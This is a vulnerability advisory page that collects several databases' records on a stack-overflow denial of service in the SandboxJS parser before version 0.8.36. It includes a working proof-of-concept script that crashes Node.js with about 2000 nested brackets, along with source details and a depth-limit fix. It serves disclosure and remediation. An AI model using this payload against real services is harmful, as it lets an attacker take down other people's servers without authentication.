SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Source published

6 Apr 2026 15:10:42 UTC

Source modified

7 Apr 2026 14:09:53 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Source published

Apr 6, 2026, 3:10:42 PM (timezone not stated)

Source modified

Apr 7, 2026, 2:09:53 PM (timezone not stated)

Observed here

1 Nov 2026 06:05:50 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Source published

6 Apr 2026 16:16:34 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 09:03:00 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## Summary The `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process. ## Details The root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected `firstOpening`, it recursively calls itself at line 503: ```typescript // src/parser.ts:486-505 } else if (closings[char]) { // ... if (char === firstOpening) { done = true; break; } else { const skip = restOfExp(constants, part.substring(i + 1), [], char); // line 503 cache.set(skip.start - 1, skip.end); i += skip.length + 1; } } ``` Each nested bracket (`(`, `[`, `{`) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter: ```typescript export function restOfExp( constants: IConstants, part: CodeString, tests?: RegExp[], quote?: string, firstOpening?: string, closingsTests?: RegExp[], details: restDetails = {}, ): CodeString { ``` A second unbounded recursive path exists through `lispify` → `lispTypes.get(type)` → `group` handler → `lispifyExpr` (line 672) → `lispify`, which processes parenthesized groups recursively with no depth limit. All public API methods (`Sandbox.parse()`, `Sandbox.compile()`, `Sandbox.compileAsync()`, `Sandbox.compileExpression()`, `Sandbox.compileExpressionAsync()`) pass user input directly to `parse()` with no input validation or depth limiting. A `RangeError: Maximum call stack size exceeded` in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process. ## PoC ```bash # Install the package npm install @nyariv/sandboxjs # Create test file cat > poc.js << 'EOF' const { default: Sandbox } = require('@nyariv/sandboxjs'); const s = new Sandbox(); // Trigger via nested parentheses console.log("Testing nested parentheses..."); try { s.compile('('.repeat(2000) + '1' + ')'.repeat(2000)); console.log("No crash"); } catch(e) { console.log(`Crash: ${e.constructor.name}: ${e.message}`); } // Trigger via nested array brackets console.log("Testing nested array brackets..."); try { s.compile('a' + '[0]'.repeat(2000)); console.log("No crash"); } catch(e) { console.log(`Crash: ${e.constructor.name}: ${e.message}`); } EOF node poc.js ``` **Expected output:** ``` Testing nested parentheses... Crash: RangeError: Maximum call stack size exceeded Testing nested array brackets... Crash: RangeError: Maximum call stack size exceeded ``` Verified on Node.js v22 with `@nyariv/[email protected]`. ## Impact Any application using `@nyariv/sandboxjs` to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario. An attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication. ## Recommended Fix Add a `depth` parameter to `restOfExp` and throw a `ParseError` when a maximum depth is exceeded: ```typescript // src/parser.ts - restOfExp function const MAX_PARSE_DEPTH = 256; export function restOfExp( constants: IConstants, part: CodeString, tests?: RegExp[], quote?: string, firstOpening?: string, closingsTests?: RegExp[], details: restDetails = {}, depth: number = 0, // ADD depth parameter ): CodeString { if (depth > MAX_PARSE_DEPTH) { throw new ParseError('Expression nesting depth exceeded', part.toString()); } // ... existing code ... // At line 503, pass depth + 1: const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1); // At line 480 (template literal), also pass depth + 1: const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1); } ``` Similarly, add depth tracking to `lispify` and `lispifyExpr`: ```typescript function lispify( constants: IConstants, part: CodeString, expected?: readonly string[], lispTree?: Lisp, topLevel = false, depth: number = 0, // ADD depth parameter ): Lisp { if (depth > MAX_PARSE_DEPTH) { throw new ParseError('Expression nesting depth exceeded', part.toString()); } // ... pass depth + 1 to recursive lispify/lispifyExpr calls ... } ```

Source published

3 Apr 2026 21:45:14 UTC

Source modified

6 Apr 2026 23:34:44 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Publisher rating · MODERATE